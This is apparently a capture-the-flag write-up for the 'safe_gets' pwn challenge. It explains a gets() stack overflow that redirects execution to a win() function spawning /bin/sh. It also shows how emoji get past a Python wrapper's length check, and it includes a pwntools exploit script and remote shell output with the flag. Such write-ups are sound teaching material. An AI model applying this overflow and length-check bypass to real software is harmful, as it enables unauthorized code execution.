description: I think I found a way to make gets safe. Author: White

We are given a program and a python wrapper around it.

Main program Link to heading

Let’s start with the program after a quick pass through ghidra

int main(void)
{
  size_t input_len;
  char buffer [259];
  char local_15;
  int input_len_2;
  ulong i;
  
  gets(buffer);
  input_len = strlen(buffer);
  input_len_2 = (int)input_len;
  for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) {
    local_15 = buffer[(long)(input_len_2 + -1) - i];
    buffer[(long)(input_len_2 + -1) - i] = buffer[i];
    buffer[i] = local_15;
  }
  puts("Reversed string:");
  puts(buffer);
  return 0;
}

void win(void)
{
  system("/bin/sh");
  return;
}

It’s a simple compiled C program that reverses a string, the interesting thing is the call to gets that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful win function.
No binary protections are stopping us from doing this except the python wrapper the program is launched from.

[*] 'l3ak_ctf/pwn/safe_gets/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Python wrapper Link to heading

Most of it doesn’t matter for us except this small part that limits the length of the input we provide to 255.

BINARY = "./chall"
MAX_LEN = 0xff

# Get input from user
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
if len(payload) > MAX_LEN:
    print("[-] Input too long!")
    sys.exit(1)

Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow.

Solve Link to heading

So what does the len function count ? It counts unicode codepoints which can be multiple bytes long.
So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag.

Here is my solve script (the interesting part).

io = start()
payload = flat(
        b"A"*74,
        b"\x00",
        "😄".encode("utf-8")*50,
        b"A"*5,
        pack((elf.symbols.win)+5)
        )
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
io.interactive()

And when running it we get the flag.

>>> ./exploit.py REMOTE 34.45.81.67 16002
[+] Opening connection to 34.45.81.67 on port 16002: Done
[*] Switching to interactive mode
$ cat flag.txt
L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}
[*] Interrupted
[*] Closed connection to 34.45.81.67 port 16002